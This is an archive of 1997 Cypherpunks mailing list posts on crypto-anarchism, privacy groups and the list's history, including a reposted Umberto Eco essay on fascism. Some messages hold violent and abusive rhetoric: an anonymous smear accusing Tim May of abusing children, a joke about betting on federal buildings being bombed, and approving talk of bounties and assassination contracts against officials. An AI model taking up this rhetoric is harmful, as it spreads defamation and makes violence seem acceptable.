There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 2 Jun 1997 21:40:37 +0800
To: "Robert A. Costner" <pooh@efga.org>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <3.0.2.32.19970601180348.03461abc@keystone.intergate.net>
Message-ID: <Pine.LNX.3.91.970602095914.574A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> 5.  Social Security number

> Why does the store need my social security number for me to purchase soft 
> drinks and eggs?  (40 cents off on eggs this week)  I see no reason for it.  
> If I provide a false number, I have probably committed some crime.
> Yes, I would support a law that forbids private companies to ask for social 
> security numbers except for tax purposes.

The store is someones property. Whether it is part of a large Plc, a 
limited company, a sole trader etc. there is someone who owns 
that store. They decide what the fuck happens on their own property. 

If customers stop shopping there most stores, through the simple need for 
economic survival, will change their practices to attract customers. 

It is no business of yours if the store asks for your sexual orientation 
before they sell you a pack of butts, if you don`t like it, walk out. 

For fucks sake, do you understand nothing of basic theory?

I have long been slandering and bemoaning the current state of the 
various EFFs/ACLU/PI/CSPR type organisations as they have clearly sold 
out, and, as is obvious from the post quoted above, most don`t even have 
a clue what they are talking about.

Marc, you are doing more harm than good, go and read some basic books and 
get an understanding of the notion of private property and non-agression, 
then I will bother to respond properly to any well stated point.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 2 Jun 1997 22:44:04 +0800
To: cypherpunks@toad.com
Subject: Australian explosion explained...
Message-ID: <v0302091dafb87d35b2e4@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


>
>                            S P A C E V I E W S
>                          Volume Year 1997, Issue 6
> 				 June 1997
>                    http://www.seds.org/spaceviews/9706/

<snip>


> Things That Go Boom in the Night: Scientists working for the National
> Science Foundation have concluded that a peculiar, loud explosion heard
> in the Australian outback in September 1993 was just a meteorite, and
> not evidence of terrorist activity. The explosion seemed to be located
> near a ranch owned by Aum Shinrikyo, a Japanese cult linked to the
> gassing of the Tokyo subway system in 1995 that injured thousands of
> morning commuters. The cult was reported interested in developing
> nuclear weapons and was mining uranium in the area.  However, seismic
> data recorded during the event are better explained by a small iron
> meteorite crashing to Earth.  The meteorite explanation also fits well
> with reports of a bright streak seen in the sky at the time of the
> explosion.


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vinnie Moscaritolo <vinnie@webstuff.apple.com>
Date: Tue, 3 Jun 1997 01:53:22 +0800
To: cypherpunks@algebra.com
Subject: Re: Comments on the Macintosh
In-Reply-To: <v030209f4afb5cb93e95a@[139.167.130.247]>
Message-ID: <v03102803afb8af25877d@[17.203.21.78]>
MIME-Version: 1.0
Content-Type: text/plain



>And I could see no significant changes in going from System 7.1.3 to
>7.5.3..
>
>Vinnie M. tells me I should do the upgrade to System 7.6...I think I'll
>pass on this for now.

I agree,It's mostly bugfixes, But Tim, why can't you get it...
Apple's MacOS team grew from 6 people in the 7.5.3 days to about 100 in the
7.6 8.0 release.. there are many bugfixes and performace enhancements in
the 7.6 release.. and yes you should use Opentranport (at least 1.1.1 or
1.2)

>.the Mac OS is of course still missing basic OS features such as... memory
>>protection.)


Tim,.I am suprised to hear you whining with such a liberals voice..  I
always thought that  demanding memory protection in an OS  is a lot like
demanding that the government is responsible for protecting you from
anything that might go bad.. If applications are well written, then you
really dont need the memory partitions in a personal computer.

 That is if application writers would take responsibility for thier own
apps... But I guess you are right.  "something must be done about those
badly written applications" ..maybe we should pass a new law, it  can be
called the  "Fineswine-May Memory Protection Act" ... maybe you should
start drafting it now..

But until then Tim, you can always run mkLinux.. but I think you just
really like to complain.


Vinnie Moscaritolo
http://www.vmeng.com/vinnie/
Fingerprint: 4FA3298150E404F2782501876EA2146A
------------------
"And someone said Hey man did ya see that?
   His body hit the street with such a beautiful thud..
I wonder if he knew what he was getting into...
  Or was he just lost in the flood?"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Tue, 3 Jun 1997 01:08:39 +0800
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: Firewalls
In-Reply-To: <199706020614.CAA28437@dhp.com>
Message-ID: <Pine.A41.3.95.970602104503.44996A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 2 Jun 1997, lucifer Anonymous Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Timmy C[retin] May prefers to have sex with little kids because his own 
> penis is like that of a three-year-old.
> 
>               ____
>             _(____)_
>        _ooO_(_o__o_)_Ooo_ Timmy C[retin] May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 2 Jun 1997 23:26:03 +0800
To: cypherpunks@toad.com
Subject: May-Rotenberg Are Not the Uber Enemy
Message-ID: <1.5.4.32.19970602144902.0091c4a4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


To escalate the May-Rotenberg debate by reminding that there 
are deadly enemies to be exposed and fought together rather
than apart:

To: deleuze-guattari@jefferson.village.Virginia.edu>
Date: Sun, 1 Jun 1997 18:15:58 -0400 (EDT)
From: Tom Maria Blancato <tblan@telerama.lm.com>


Fourteen Ways of Looking at a Blackshirt

Umberto Eco, New York Review of Books, excerpted with permission 
in the Utne Reader, Nov./Dec. 1995, no. 72, pps. 57-59

In spite of some fuzziness regarding the difference between various 
historical forms of fascism, I think it is possible to outline a 
list of features that are typical of what I wold like to call 
Ur-Fascism, or eternal Fascism. These features cannot be organized 
into a system; many of them contradict each other, and are also 
typical of other kinds of despotism or fanaticism. But it is enough 
that one of them be present to allow fascism to coagulate around it.

1.

The first feature of Ur-Fascism is the *cult of tradition*. 
Traditionalism is of course much older than fascism. Not only was it 
typical of counterrevolutionary Catholic thought after the French 
revolution, but it was born in the late Hellenistic era, as a reaction 
to classical Greek rationalism. In the Mediterranean basin, people of 
different religions (most of the faiths indulgently accepted by the 
Roman pantheon) started dreaming of a reelation received at the dawn 
of human history. This reelation, according to the traditionalist 
mystique, had remained for a long time concealed under the veil of 
forgotten languages -- in Egyptian hieroglyphs, in the Celtic runes, 
in the scrolls of the little-known religions of Asia.

This new culture had to be *syncretistic*. Syncreticism is not only , 
as the dictionary says, "the combination of different forms of belief 
or practice"; such a combination must tolerate contradictions. Each 
of the original messages contains a sliver of wisdom, and although 
they seem to say different or incompatible things, they all are 
nevertheless alluding, allegorically, to the same primeval truth.

As a consequence, there can be no advancement of learning. Truth 
already has been spelled out once and for all, and we can only keep 
interpreting its obscure message.

If you browse in the shelves that, in American bookstores, are labeled 
New Age, you can find there even Saint Augustine, who, as far as I know, 
was not a fascist. But combining Saint Augustine and Stonehenge -- that 
is a symptom of Ur-Fascism.

2.

Traditionalism implies the *rejection of modernism*. Both Fascist and 
Nazis worshiped technology, while traditionalist thinkers usually reject 
it as a negation of traditional spiritual values. However, even though 
Nazism was proud of its industrial achievements, its praise of modernism 
was only the surface of an ideology based upon blood and earth (*Blut und 
Boden*). The rejection of the modern world was disguised as a rebuttal of 
the capitalistic way of life. The Enlightenment, the Age of Reason, is 
seen as the beginning of modern depravity. In this sense Ur-Fascism can 
be defined as *irrationalism*.

3. 

Irrationalism also depends on the cult of *action for action's sake*. 
Action being beautiful in itself, it must be taken before, or without, 
reflection. Thinking is a form of emasculation. Therefore culture is 
suspect insofar as it is identified with critical attitudes. Distrust 
of the intellectual world has always been a symptom of Ur_Fascism, 
from Hermann Goering's fondness for a phrase from a Hanns Johst play 
("When I hear the word 'culture' I reach for my gun") to the frequent 
use of such expressions as "degenerate intellectuals," "eggheads," 
"effete snobs," and "universities are nests of reds."  The official 
Fascist intellectuals were mainly engaged in attacking modern culture 
and the liberal intelligensia for having betrayed traditional values.

4. 

The critical spirit makes distinctions, and to distinguish is a sign 
of modernism. In modern culture the scientific community praises 
disagreement as a way to improve knowledge. for Ur-Fascism, 
*disagreement is treason*. 

5.

Besides, disagreement is a sign of diversity. Ur-Fascism grows up and 
seeks consensus by exploiting and exacerbating the natural *fear of 
difference*. The first appeal of a fascist or prematurely fascist 
movement is an appeal against the intruders. Thus Ur-Fascism is racist 
by definition.

6.

Ur-Fascism derives from individual or social frustration. that is why 
one of the most typical features of this historical fascism was the 
*appeal to a frustrated middle class*, a class suffering from an 
economic crisis or feelings of political humiliation, and frightened 
by the pressure of lower social groups. In our time, when the old 
"proletarians" are becoming petty bourgeois (and the lumpen are 
largely excluded from the political scene), the fascism of tomorrow 
will find its audience in this new majority.

7. 

To people who feel deprived of a clear social identity, Ur-Fascism 
says that their only privilege is the most common one, to be born in 
the same country. This is the origin of nationalism. Besides, the only 
ones who can provide an identity to the nation are its enemies. Thus 
at the root of the Ur_fascist psychology there is the *obsession with 
a plot*, possibly an international one. The followers must feel 
besieged. The easiest way to solve the plot is to appeal to xenophobia. 
But the plot must come from he inside. Jews are usually the best target 
because they have the advantage of being at the same time inside and 
outside. In the United States, a prominent instance of the plot 
obsession is to be found in Pat Robertson's *The New World Order*, 
but, as we have recently seen, there are many others.

8.

The followers must feel *humiliated by the ostentatious wealth and 
force of their enemies*. When I was a boy I was taught to think of 
Englishmen as the five-meal people. They ate more frequently than the 
poor but sober Italians. Jews are rich and help each other through a 
secret web of mutual assistance. However, the followers of Ur_Fascism 
must also be convinced that they can overwhelm the enemies. Thus, by 
a continuous shifting of rhetorical focus, the enemies are at the same 
time too strong and too weak. Fascist governments are condemned to 
lose wars because they are constitutionally incapable of objectively 
evaluating the force of the enemy.

9.

For Ur-Fascism there is no struggle for life but, rather, life is 
lived for struggle. Thus *pacifism is trafficking with the enemy*. 
This is bad because *life is permanent warfare*. This, however, brings 
about an Armageddon complex. Since enemies have to be defeated, there 
must be a final battle, after which the movement will have control of 
the world. But such a "final solution" implies a further era of peace, 
a Golden Age, which contradicts the principle of permanent war. No 
fascist leader has ever succeeded in solving this predicament.

10.

Elitism is a typical aspect of any reactionary ideology, insofar as it 
is fundamentally aristocratic, and aristocratic and militaristic 
elitism cruelly implies *contempt for the weak*. Ur-Fascism can only 
advocate a popular elitism. Every citizen belongs to the best people 
of the world, the member of the party are the best among the citizens, 
every citizen can (or ought to) become a member of the party. But there 
cannot be patricians without plebeians. In fact, the Leader, knowing 
that his power was not delegated to him democratically but was 
conquered by force, also knows that his force is based upon the 
weakness of the masses; they are so weak as to need and deserve a 
ruler.

11.

In such a perspective *everybody is educated to become a hero*. In 
every mythology the hero is an exceptional being, but in Ur-Fascist 
ideology heroism is the norm. This cult of heroism is strictly linked 
with the cult of death. It is not by chance that a motto of the 
Spanish Falangist was *Viva la Muerte* ("Long Live Death!"). In 
nonfascist societies, the lay public is told that death is 
unpleasant but must be faced with dignity; believers are told that 
it is the painful way to reach a supernatural happiness. By contrast, 
the Ur-Fascist hero craves heroic death, advertised as the best 
reward for a heroic life. The Ur-Fascist hero is impatient to die. 
In his impatience, he more frequently sends other people to death.

12.

Since both permanent war and heroism are difficult games to play, 
*the Ur-Fascist transfers his will to power to sexual matters*. This 
is the origin of machismo (which implies both disdain for women and 
intolerance and condemnation of nonstandard sexual habits, from 
chastity to homosexuality). Since even sex is a difficult game to 
play, the Ur_Fascist hero tends to play with the weapons -- doing 
so becomes an ersatz phallic exercise.

13.

Ur-Fascism is based upon a *selective populism*, a qualitative 
populism, one might say.  In a democracy, the citizens have 
individual rights, but the citizens in their entirety have a 
political impact only from a quantitative point of view -- one 
follows the decisions of the majority.  For Ur-Fascism, however, 
the individuals as individuals have no rights, and the People is 
conceived as a quality, a monolithic entity expressing the 
Common will. Since no large quantity of human beings can have a 
common will, the Leader pretends to be their interpreter. Having 
lost their power of delegation, citizens do not act; they are only 
called on to play the role of the People. Thus the People is only 
a theatrical fiction. there is in our future a TV or Internet 
populism, in which the emotional responses of a selected group 
of citizens can be presented and accepted as the Voice of the 
People.

Because of its qualitative populism, Ur-Fascism must be *against 
"rotten" parliamentary governments*.  Wherever a politician casts 
doubt on the legitimacy of a parliament because it no longer 
represents the Voice of the People, we can smell Ur-Fascism.

14.

*Ur-Fascism speaks Newspeak*. Newspeak was invented by Orwell, in 
_1984_, as the official language of what he called Insoc, English 
Socialism. But elements of Ur-Fascism are common to different 
forms of dictatorship. All the Nazi or Fascist schoolbooks made 
use of an impoverished vocabulary, and an elementary syntax, in 
order to limit the instruments for complex and critical reasoning. 
But we must be ready to identify other kinds of Newspeak, even if 
they take the apparently innocent form of a popular talk show.

Ur-Fascism is still around us, sometimes in plainclothes. It 
would be so much easier for us if there appeared on the world 
scene somebody saying, "I want to reopen Auschwitz, I want the 
blackshirts to parade again in the Italian squares." Life is not 
that simple. Ur-Fascism can come back under the most innocent of 
disguises. Our duty is to uncover it and to point our finger at 
any of its new instances -- ever day, in every part of the world. 
Franklin Roosevelt's words on November 4, 1938, are worth 
recalling: "If American democracy ceases to move forward as a 
living force, seeking day and night by peaceful means to better 
the lot of our citizens, facism will grow in strength in our 
land." Freedom and liberation are an unending task.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 3 Jun 1997 02:26:03 +0800
To: Michael Froomkin <rotenberg@epic.org
Subject: Re: May's Banal Rant
In-Reply-To: <6333@lawprof.demon.co.uk>
Message-ID: <3.0.2.32.19970602110450.0077d010@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/enriched

At 12:14 PM 6/2/97 BST, Michael Froomkin wrote:
>Rotenburg should be a near-hero to most readers of this list.   Instead,
>canabalism.   Weird.  Very weird.

Michael,

You need to realize that Cypherpunks transitionally has been about the *elimination* of all governments. Cypherpunks' goal is called crypto-anarchy for a reason. In fact, for Cypherpunks cryptography is simply an exceptionally effective tool to achieve anarchy. The governments share the belief that wide spread use of crypto will possibly lead to anarchy, which is why they attempt to limit its use. The rest is smoke and mirrors and statements by people that fail to understand that the whole crypto issue is about anarchy and not about math.

Anarchy can not be achieved by negotiations or cooperation with any branch of government. Neither can crypto-anarchy be achieved by nuking DC.

I certainly can understand the reasons that would lead a person to start
thinking that "something is better than nothing" or "the bastards need to receive the punishment they so richly deserve". Neither view will help to further crypto-anarchy in any meaningful way.

Have fun,

--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

Put a stake through the heart of DES! Join the quest at       http://www.frii.com/~rcv/deschall.htm



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Froomkin <Michael@lawprof.demon.co.uk>
Date: Mon, 2 Jun 1997 19:56:55 +0800
To: rotenberg@epic.org
Subject: Re: May's Banal Rant
Message-ID: <6333@lawprof.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


I don't understand this.  Of all the alphabet soup privacy groups out
there, EPIC is the one I consider most pro-privacy and anonymity other
than the ACLU itself.  And EPIC knows the tech better, on the whole
(although the ACLU is quite clued-up too).  It is true that EPIC is not
absolutist on SAFE -- and I'm not quite sure that they are right to give
even the inch they gave to get a mile -- but they're awfully good.

Rotenburg should be a near-hero to most readers of this list.  Instead,
canabalism.   Weird.  Very weird.

That does it.  When I get back to the US, I'm sending EPIC a donation.
-- 
Michael Froomkin                  until 6/11: michael@lawprof.demon.co.uk
Associate Professor of Law                        Various Points, England
froomkin@law.miami.edu <-- this will still find me, eventually
PO Box 248087 Coral Gables, FL 33124-8087 "Rain in parts, then dry" --BBC
http://www.law.miami.edu/~froomkin





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Tue, 3 Jun 1997 04:31:31 +0800
To: cypherpunks@toad.com
Subject: Guilty Verdict in Denver Show Trial
Message-ID: <199706021939.MAA09926@netcom18.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Guilty on all 11 counts, of course. 

Of course, once you eliminate the testimony coerced by holding witnesses
for days and threatening them with the death penalty, the "bomb residue"
invented by the FBI Crime Lab, and numerous other things, nothing even
places the defendent at the site of the explosion, much less proves he was
responsible for it. 

Of course, to have the correct psychological effect on the Sheeple, it is
not necessary that the government convict and execute the prepetrator. 
Killing any government-hating militia-friendly scapegoat will do. 

For extra credit, let's have a pool to predict the number of federal
buildings which will blow up on the day of the execution. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 3 Jun 1997 04:45:13 +0800
To: cypherpunks@algebra.com
Subject: Re: May's Banal Rant
Message-ID: <v03102806afb8d1b8fe50@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


A member of the Cypherpunks list, who sometimes contributes articles to the
list, engaged several of us in a discussion of some topics. He requested
that we respect his desire not to have his opinions published, which I am
honoring.

However, some interesting topics were raised, and I spent a couple of hours
responding. Rather than letting the points drop into the black hole of such
sublists, I will post my responses here, editing out all references to his
identity.

Things would be so much easier if he'd just post his views to the list. I
surmise that his reasons for not posting have less to do with not wanting
to be associated with my views, as if that is possible in a free society,
and more to do with paranoia about what his employer will think.

--Tim

This is my article:

>Date: Mon, 2 Jun 1997 10:03:56 -0700
>To: xxxx
>Subject: Re: May's Banal Rant
>Cc: xxxx

(He commented that I am marginalizing myself and my compatriots by my angry
views. I replied:)


>The list was just as "intense" in 1993, for example. Any reading of the
>traffic after the Waco incident in April of that year will show this
>clearly. And 1994 was also intense, what with the heated discussion of
>anonymous assassination contracts, use of crypto by some associates in
>White Aryan Resistance and other politically incorrect groups, and so on.
>
>(There was even Froomkin-described "cannibalism" that year, as the list
>_exploded_ in condemnation of Jerry Berman's EFF-led sellout on the
>Wiretap Bill (aka Digital Telephony, aka CALEA, etc.). In fact, this
>"cannibalism" was practiced by nearly everyone outside the specific axis
>which made the Grand Compromise. It is widely believed that this event led
>to the flight from D.C. of EFF and its current marginal status as a mover
>and shaker. (Other reasons, too, I've heard from those who were present.
>I'm not claiming to be "ahead of the curve," to use Marc's
>characterization, on this one. He was there, I was not. But clearly the
>support of DT/CALEA had a major, traumatizing effect on EFF. )
>

(He predicts that "moderate" list members will leave the list because of my
articles. He says he stopped posting months ago because he saw the general
trend getting worse. )



>I hadn't seen essays from you in a long time, xxxxx, nor from yyyyy. It
>seems that a lot of folks have "been there, done that" on writing essays,
>regardless of their ideological points of view. Even Detweiler writes very
>few essays.
>
>Many of the former active contributors are now with crypto companies or
>Internet companies in one form or another. Hal Finney is with PGP, a bunch
>of folks (Barnes, Parekh, Green, Sandfort...) are with C2, some were with
>xxxxxx (as you know), and so on. A bunch of others are doing security or
>crypto work at the various companies, including Netscape, Intuit,
>Microsoft, Excite, Qualcomm, etc.
>
>(There are also reasons for them to "tone down" their rhetoric. Some of
>them have sent me e-mail saying they agree with my points (or disagree, as
>the case may be) but do not feel comfortable posting publically, given
>their present employment with these companies. This is a natural
>development. Go back and read the rhetoric in 1992-5 about controversial
>issues....many of the essayists of even the most controversial pieces then
>are now at companies and are understandably less vocal. So?)
>
>Plus there have been the usual spin-off lists. Lewis McCarthy decided, I
>presume, that he had internalized the political message of Cypherpunks and
>wanted only a C and C++ forum, so he created "coderpunks." Perry Metzger,
>certainly no stranger to libertarian ranting, decided apparently that he
>wanted to control which rants got distributed so he created "cryptography."
>
>This is also natural. If you don't like who is left on Cypherpunks, and
>who is posting, then either leave it or post the kind of stuff you'd like
>to see.
>
>Those who never post anymore are in a poor position to criticize others
>for what they post.

(He claims I have marginalized myself and says he expects either no reply
from me or a venomous one.)


>Well, this is a response. I don't think it's venomous. It's what I think.
>
>It's true that there are relatively few "primer" essays on Cypherpunks
>these days; the time for that was in the early years, especially the first
>year. Many of those essay writers who wrote long articles on public key
>systems, signatures, etc., are now in the companies mentioned above. Plus,
>having already done it there is little incentive to do it again.
>
>So? This is the natural evolution of any community.
>
>I'll stop now.
>
>All I can say is that if you find the Cypherpunks list no longer to your
>liking, the choice is obvious. Or, if you want to stay but want the
>discussions moved in other directions, write articles in these directions.
>You can hardly complain if you're silent.
>
>--Tim May
>
>

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 3 Jun 1997 04:38:44 +0800
To: cypherpunks@algebra.com
Subject: Re: May's Banal Rant
Message-ID: <v03102807afb8d61f070a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



This is the second in the series of articles I am forwarding from the
"sublist" discussion I mentioned. Again, I am excising all pointers to the
identity of the person who wished his views not be publicized.

This is the longest of the articles.

--Tim


>Date: Mon, 2 Jun 1997 12:07:48 -0700
>To: xxxxx
>From: Tim May <tcmay@got.net>
>Subject: Re: May's Banal Rant
>Cc: xxxxxx

>At 11:00 AM -0700 6/2/97, xxxxx wrote:

(Thanks me for not being venomous, as he had been expecting, and says he
was not on the Cypherpunks list in 1993 so he doesn't recall what it was
like back then.)

>I can tell you that much of the discussion back then was about the precise
>things I have  had in my .sig all these years (the core part).  And this
>was during the incidents at Ruby Ridge and Waco.
>
>Is calling for a bounty in untraceable cash to be placed on the head of
>the shooter at Ruby Ridge, one Lon Horiuchi, radical enough for you? (The
>BATFags consider such threats seriously enough that Horiuchi apparently
>now has a new identity, accoding to my militia friends, who say no
>"Horiuchi" can be found in any current records they have searched...and
>one of their sources in the Empire confirmed this.)

(Says the tone of the list and of Libertarian politics is more strident
than it has ever been.)

>Actually, I was around during the anti-Viet Nam war days--I voted for John
>Hospers of the LP in 1972, and participated in various anti-war events at
>UC Santa Barbara, including a notable evening when Highway 101 was shut
>down for several hours by protestors. The level of rancor between
>government and others (including Libertarians) was vastly greater.
>
>And in 1993 the Clipper announcement was met with incredible venom on the
>list. You really need to go back and read what was said about Denning,
>Freeh, Kallstrom, and Herr Clinton. We even had a couple of emergency
>physical meetings, and the level of sabotage discussed was far greater
>than anything recently.
>
>Also, those "radical days" saw some very radical stuff indeed. The
>anonymous posting of the corporate secrets of the traitorous company
>Mykotronx helped to nuke that company. Ditto for the Clipper internal
>memoranda posted to the list via remailers.
>
>(Nowadays we'd have a list member working for Mykotronx and urging us to
>be "more reasonable.")
>
>Also, 1993-4 was the heyday of the Zimmermann imbroglio, and there was
>much heated discussion of this.
>
>(Nowadays, Zimmermann wants Cypherpunks to rally behind his company's GAK
>system, and he is aghast at the "anarchy" discussed on the list. He was
>opposed to the libertarian ideology of the list back in '93-94 of course,
>but then it suited him to have the Cypherpunks defending him. Now he views
>us as impediments to his business prospects, and employees of PGP, Inc.
>are now _very_ circumspect about what they write on the list.)
>
>I agree that there is a sense of "enough is enough" in the Cypherpunk
>community these days. Everytime we turn around there are new restrictions,
>new calls for censorship, new clamorings for controlling the Net, and even
>new arrests.
>
>I disagree that the posts of today are significantly more strident than
>they were in the Clipper days, or the Waco days, etc. Maybe a few comments
>have sounded especially angry, but these are angry times. Again, if you
>don't like the threads, start some of your own.
>
>I believe I'm under a fair risk of being named as a co-conspirator of
>Bell's...some of my e-mail to him is probably what the cops are referring
>to when they speak about using cryptography to facillitate markets in
>various acts. Yes, this has made me prepare for a raid on my home, and,
>yes, I have bought a couple of cases of ammunition and made sure my stuff
>is ready. I don't intend to be shot in the middle of the night in the dark
>as i reach for a handgun to defend myself when the "entry team" ignores
>the Fourth Amendment and simply bursts into my room.
>
>(Lost in the modern debate about rights is how we got to this stage, to
>where it is _expected_ that cops will dress in paramilitary garb (Nomex
>ski masks, black clothing, carrying suppressed MP-5s) and launch raids on
>the homes of suspects. No knocks on the doors, no presentation of
>duly-authorized search warrants, no punishment for those who kill
>innocents or others on such searches.... what a fucked up country we have
>become.)

(He says that many influential posters to Cypherpunks no longer post.)


>I still post. That so many others don't is not my problem. (Hint: Analyze
>the archives to see who used to post a lot. Many of them--in fact,
>essentially _all_ of them--decreased their posting volumes long before the
>comments of mine in the last few months that you seeem to think drove them
>away. Look at the actual numbers.)
>
>For various and sundry reasons. I won't catalog them again here, even
>though I've thought of some additional important reasons I left out
>earlier. Maybe I'll write a new essay on how the list has changed and how
>the membership taxonomy works out.

(He says that I am more provocatively violent-sounding in my posts the past
few months than before.)


>In a few instances, yes. So? People have various views at various times.
>And I'd say calling for an anonymous murder contract on Horiuchi was
>pretty violent-sounding. (Such calls were not made by me, though I've
>recently said the killers of Donald Scott, the Malibu doctor raided by
>BATF/LA officers should be given a fair trial and if found guilty,
>executed. What's "violent" about expecting the same justice for cops that
>we see being applied to McVeigh, Kaczinski, and so on?)

(He claims that atttention from the media and from law enforcment in the
Cyphepunks list is probably greater now than in the past. Note from my
comments below that I disagree with him.)

>This is part of the "taxonomy of membership" I'm talking about. We get all
>kinds of subscribers. Some just hit-and-run, some clueless, some seeking
>support for their pet programs or products, some loonies. (If you think
>TruthMonger or that Circle of Eunuchs guy is any crazier than Detweiler
>was in '93-94, go back and read his stuff.)
>
>And in fact the media fascination with Cypherpunks was provably greater in
>'92-94 than today. Think of those big cover stories in Wired, Whole Earth
>Review, The Village Voice, etc.  This is so for various reasons, and I
>won't bemoan or applaud our current relative obscurity.

(He claims that for these various reasons my voice is probably more
dominant or influential than ever before--given the low volumes of posts, I
might agree--and says it is too bad I am so strident.)


>I am not writing that much differently than I did in earlier years, if you
>check the archives. I have made very few "shoot the pigs" comments.
>
>(And, by the way, the period surrounding Waco and Ruby Ridge was filled
>with discussions of armaments, calibers, etc. Some of the Bay Area CPs
>even started a shooting club....I have not gone to any of their shoots, as
>I live 100 miles south of San Francisco....plus, I have my own favorite
>ranges nearby and I'm not much on teaching newbies to shoot.)
>
>It is true that Eric Hughes is off doing other things. John Gilmore was
>never much a writer of essays, and he's now distanced himself from the
>list (for obvious reasons). Hal Finney still writes, but the reasons he
>writes less are obvious (job, and he's said things several times). And so
>on.
>
>Others have left the list. Peter Wayner is gone. Carl Ellison is gone. So?
>No one expected a perpetual level of interest. When I talk to Eric
>(Hughes), we both shake our heads in amazement that a group we started
>five years ago is still rolling along; we never set out to create a
>permanent group.
>
>And, unlike some groups which are almost explicity centered around a
>public spokesman or small cadre, the Cypherpunks group has never had a
>spokesman, never had a public charter, never had a policy analysis group,
>never had most of the things the alphabet soupers have had.
>
>We're just a virtual coffeehouse, or pub, or even Munich beerhall. Anyone
>is free to comment on anything. The only attempt at censoship--the recent
>one by Sandfort and Gilmore--failed miserably (and predictably) and in
>fact scattered the nexus of the group to multiple sites. (The role of that
>event, and the subsequent shrinkage of the list from 1200 subscribers to
>just about 200 subscribers, as best I can tell, is the subject of another
>essay. In my view, the attempted censorship of the list did grievous
>damage to the list, and inasmuch as we don't "recruit" for new members, it
>may be a long time before the list ever gets as active as it used to be,
>if ever. The low posting volume tends to magnify the significance of the
>posts which do appear...this is not something I see as my problem or my
>responsibility to try to change.)

>And it's a pity this entire discussion is not happening on the main list!
>
>You, xxxxx, choose to...<excised to protect his identity>... and to keep
>your comments off the list. I know ...<excised>.... but you really should
>be making your comments about the list and its topics ON THE LIST!
>
>Isn't this obvious? You can hardly complain about my "radical" views when
>you hold your counsel, can you?
>
>In fact, I'll respect your wish not to have your comments distributed
>beyond the list you have chosen, but I plan to take my own comments, sans
>your quotes, and use them as the basis of an essay to the list on these
>and related topics.
>
>In this regard, I thank you for catalyzing some thoughts.
>
>--Tim May
>
>

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
